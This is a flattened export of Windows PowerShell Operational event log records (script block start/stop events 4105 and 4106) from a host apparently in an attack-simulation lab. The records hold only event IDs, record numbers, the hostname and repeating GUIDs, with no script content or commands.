410515102150x0667711Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667710Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667709Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667708Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667707Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667706Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667705Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667704Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667703Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667702Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667701Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667700Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667699Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667698Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667697Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667696Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667695Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667694Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667693Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667692Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667691Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667690Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667689Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667688Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667687Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667686Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667685Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667684Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667683Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667682Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667681Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667680Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667679Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667678Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667677Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667676Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667675Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667674Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667673Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667672Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667671Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667670Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667669Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667668Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667667Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667666Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667665Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667664Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667663Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667662Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667661Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667660Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667659Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667658Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667657Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667656Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667655Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667654Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667653Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667652Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667651Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667650Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667649Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667648Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667647Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667646Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667645Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667644Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667643Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667642Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667641Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667640Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667639Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667638Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667637Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667636Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667635Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667634Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667633Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667632Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667631Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667630Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667629Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667628Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667627Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667626Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667625Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667624Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667623Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667622Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667621Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667620Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667619Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667618Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667617Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667616Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667615Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667614Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667613Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667612Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667611Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667610Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667609Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667608Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667607Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667606Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667605Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667604Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667603Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667602Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667601Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667600Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667599Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667598Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667597Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667596Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667595Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667594Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667593Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667592Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667591Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667590Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667589Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667588Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667587Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667586Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667585Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667584Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667583Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667582Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667581Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667580Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667579Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667578Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667577Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667576Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667575Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667574Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667573Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667572Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667571Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667570Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667569Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667568Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667567Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667566Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667565Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667564Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667563Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667562Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667561Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667560Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667559Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667558Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667557Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667556Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667555Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667554Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667553Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667552Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667551Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667550Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667549Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 